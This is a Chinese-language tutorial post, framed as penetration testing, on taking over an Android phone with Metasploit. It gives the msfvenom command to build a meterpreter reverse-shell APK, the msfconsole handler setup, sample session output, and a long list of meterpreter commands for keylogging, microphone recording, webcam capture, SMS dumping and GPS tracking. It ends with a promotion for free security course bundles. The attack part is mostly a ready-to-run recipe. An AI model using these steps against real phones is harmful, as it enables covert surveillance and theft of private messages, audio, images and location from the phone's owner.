• • 【渗透测试】利用MSF入侵安卓手机

    “ 准备一个废弃的安卓手机，建议买小米系列，通过MSF生成APK文件植入安卓手机，而渗透入手机，查看相关信息**”**

    01工具

    kali系统：

    ┌──(kali㉿kali)-[~]└─$ lsb_release -a
    No LSB modules are available.Distributor ID: KaliDescription:    Kali GNU/Linux RollingRelease:        2024.2   #用的2024.2最新版本Codename:       kali-rolling
    

    安卓手机

    shell@bbk6752_lwt_kk:/ $ getprop ro.build.version.release4.4.4  #这里我打开安卓手机开发者模式adb进手机了，也可在手机设置中直接查看
    

    MSF

    msfvenom、msfconsole（Kali系统内置）

    
    

    02 渗透

    1.进入管理者模式

    sudo -i
    

    2.生成可执行病毒APK文件

    **
    **

    *命令：* msfvenom -p android/meterpreter/reverse_tcp LHOST=\**<本地ip>\** LPORT=\**<本地端口号>\** R > \**<文件名>\**.apk
    *实例：*

    msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.xx LPORT=5555 R >Android.apk
    

    **
    **

    运行上述命令后生成

    

    3.运行msfconsole**
    **

     msfconsoleuse exploit/multi/handlerset payload android/meterpreter/reverse_tcpset LhOST 192.168.xx.xx  #IP和上面APK保持一致set lport 5555   #端口和上面APK保持一致exploit
    

    上述总共6个步骤，在运行第6个步骤之前，请在手机端安装这个APK文件

    最后出现meterpreter，表示成功。

    Started reverse TCP handler on 192.168.xx.xx:5555Sending stage (175174 bytes) to 192.168.xx.xxMeterpreter session 3 opened (192.168.xx.xx:5555 -> 192.1683.xx.xx:49943 ) at 2024-07-09 09:44:01 +0800meterpreter
    

    4.meterpreter常用指令

    sysinfo #查看系统信息app_list #查看手机安装了哪些APPwebcam_chat #远程控制手机视频webcam_snap #远程控制手机拍照dump_sms #查看手机短信geolocate #获取对方手机GPS
    
    meterpreter命令：keyscan_start 开始捕获击键（开始键盘记录）keyscan_dump 转储按键缓冲（下载键盘记录）keyscan_stop 停止捕获击键（停止键盘记录）record_mic X秒从默认的麦克风record_mic音频记录（音频录制）webcam_chat 开始视频聊天（视频，对方会有弹窗）webcam_list 单摄像头（查看摄像头列表）webcam_snap 采取快照从指定的摄像头（摄像头拍摄一张照片）webcam_stream 播放视频流从指定的摄像头（开启摄像头监控）enumdesktops 列出所有可访问的桌面和窗口站（窗体列表）getdesktop 得到当前的Meterpreter桌面reboot 重新启动远程计算机shutdown 关闭远程计算机shell 放入系统命令 shellenumdesktops 列出所有可访问的桌面和窗口站getdesktop 获取当前的meterpreter桌面idletime 返回远程用户空闲的秒数keyboard_send 发送击键keyevent 发送按键事件keyscan_dump 转储击键缓冲区keyscan_start 开始捕获击键keyscan_stop 停止捕获击键mouse 发送鼠标事件screenshare 实时观看远程用户桌面screenshot 抓取交互式桌面的屏幕截图setdesktop 更改 Meterpreters 当前桌面uictl 控制一些用户界面组件record_mic 从默认麦克风录制音频 X 秒webcam_chat 开始视频聊天webcam_list 列出网络摄像头webcam_snap 从指定的网络摄像头拍摄快照webcam_stream 播放来自指定网络摄像头的视频流play 在目标系统上播放波形音频文件 (.wav)getsystem 尝试将您的权限提升到本地系统的权限execute -f notepad 打开记事本
    

    网络安全学习资源分享:

---

给大家分享一份全套的网络安全学习资料，给那些想学习 网络安全的小伙伴们一点帮助！

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

因篇幅有限，仅展示部分资料，朋友们如果有需要全套《网络安全入门+进阶学习资源包》，需要点击下方链接即可前往获取

读者福利 | CSDN大礼包：《网络安全入门&进阶学习资源包》免费分享 （安全链接，放心点击）

👉1.成长路线图&学习规划👈

要学习一门新的技术，作为新手一定要先学习成长路线图，方向不对，努力白费。

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字，我也为大家准备了视频教程，其中一共有21个章节，每个章节都是当前板块的精华浓缩。（全套教程文末领取哈）

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍：

黑客资料由于是敏感资源，这里不能直接展示哦！（全套教程文末领取哈）

👉4.护网行动资料👈

其中关于HW护网行动，也准备了对应的资料，这些内容可相当于比赛的金手指！

👉5.黑客必读书单👈

👉6.网络安全岗面试题合集👈

当你自学到这里，你就要开始思考找工作的事情了，而工作绕不开的就是真题和面试题。

所有资料共282G，朋友们如果有需要全套《网络安全入门+进阶学习资源包》，可以扫描下方二维码或链接免费领取~

读者福利 | CSDN大礼包：《网络安全入门&进阶学习资源包》免费分享 （安全链接，放心点击）